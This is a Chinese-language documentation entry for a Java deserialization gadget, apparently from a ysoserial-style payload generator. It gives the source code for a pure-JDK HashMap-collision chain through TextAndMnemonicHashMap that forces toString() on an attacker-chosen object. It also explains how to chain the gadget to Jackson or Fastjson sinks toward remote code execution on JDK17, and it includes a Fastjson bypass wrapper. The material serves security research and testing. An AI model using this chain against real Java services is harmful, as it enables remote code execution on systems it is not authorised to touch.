- 类别:common 别名:— 优先级:10
- 作者:—
- 依赖:
jdk:javax.swing.UIDefaults$TextAndMnemonicHashMap(纯 JDK,无第三方依赖)
一个纯 JDK 的 toString 型跳板:利用 HashMap.readObject 反序列化时的哈希碰撞,迫使 AbstractMap.equals 触发 javax.swing.UIDefaults$TextAndMnemonicHashMap 的取值逻辑,进而对内层对象调用其 toString() 方法。之后可以衔接任意「危险 toString」的 gadget(如 JacksonToString、FastjsonToString1 等),是 JDK17 等高版本下常用的 toString 入口。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(顶层就是一个可被readObject的HashMap)。 - 衔接
nextTags:ToString—— 之后需接一个「在toString()中触发危险行为」的 gadget。 excludes:无。
核心在 getObject(Object object),object 即链的内层对象(下游的 toString gadget 产物):
public Object getObject(Object object) throws Exception {
Class<?> innerClass = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1 = (Map)Reflections.createWithoutConstructor(innerClass); // 免构造器实例化两个 TextAndMnemonicHashMap
Map map2 = (Map)Reflections.createWithoutConstructor(innerClass);
map1.put(object, "1");
map2.put(object, "2"); // 两个内层 map 都以目标对象为 key
Field field = HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1, 1); // loadFactor 置 1,避免 put 阶段提前 resize/触发
field.set(map2, 1);
PayloadHelper.setHashMapValueToNull(map1, object); // 反射把 value 抹成 null
PayloadHelper.setHashMapValueToNull(map2, object);
HashMap map = PayloadHelper.makeMap(map1, map2); // 组成外层 HashMap,安排 map1/map2 哈希碰撞
return map;
}- 两个内层 map:
map1、map2都是TextAndMnemonicHashMap(HashMap子类),各自以object为键。用Reflections.createWithoutConstructor免构造器创建,避免正常构造带来的副作用。 loadFactor=1:反射修改内部字段,控制哈希表容量/扩容时机,确保后续碰撞按预期发生,并规避在构造阶段就意外触发equals。- value 置 null:
setHashMapValueToNull把先前put的"1"/"2"抹为null。这是关键——当AbstractMap.equals遍历到某条 value 为null的 entry 时,会走m.get(key)==null && m.containsKey(key)分支,从而对另一张TextAndMnemonicHashMap发起get(object)。 makeMap(map1, map2):构造外层HashMap,让map1与map2落入同一个桶(哈希碰撞)。这样外层HashMap.readObject → putVal插入第二个键时,会调用key.equals(k),即map2.equals(map1),进入AbstractMap.equals。
反序列化时的触发链(见 @GadgetAnnotation 的 description):
HashMap#readObject() -> HashMap#putVal()(碰撞)
-> AbstractMap.equals()(遍历 entry,遇 null value 走 get/containsKey 分支)
-> TextAndMnemonicHashMap 的取值逻辑
-> object.toString() // 对内层对象调用 toString,交由下游 gadget 接管
invoke 负责取内层对象、可选地做 Fastjson 绕过包裹:
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 内层 toString gadget 产物
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(object);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject); // 需要时把结果与绕过对象一起 list 包裹
}
return resultObject;
}FASTJSON_HANDLE_BYPASS_KEY 存在时用 listWrap 把额外对象和本 payload 一起放进列表,用于某些 Fastjson/JSON 处理场景的绕过;一般 Java 原生反序列化下该值为空,直接返回外层 HashMap。
本类无 @Param。要触发的目标 toString(内层对象)由下游 gadget 经 chain.doCreate 提供;FASTJSON_HANDLE_BYPASS_KEY 由上下文按需注入。
- 纯 JDK gadget,无需第三方库,仅要求
javax.swing.UIDefaults$TextAndMnemonicHashMap可加载(标准 JDK 均含)。 - 属于经典「
HashMap哈希碰撞 →AbstractMap.equals→toString」家族在高版本 JDK 下的一个可用变体,常作为JacksonToString/FastjsonToString1等toStringsink 的前置入口。 - 不同 JDK 小版本中
TextAndMnemonicHashMap的serialVersionUID可能不同,本基类不做 UID 改写;高版本需改用子类 TextAndMnemonicHashMapToStringHighJDK。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。其高版本子类 TextAndMnemonicHashMapToStringHighJDK 被「JDK17 RCE链2」采用。
- 子类:TextAndMnemonicHashMapToStringHighJDK(追加
serialVersionUID字节流替换以适配高版本 JDK)。 - 下游(
nextTags=ToString):JacksonToString、FastjsonToString1/FastjsonToString2、BadAttributeValueExpExceptionToString等toString型 gadget。 - 同族(同样是
readObject → toString入口):EventListenerListToString、BadAttributeValueExpExceptionToString。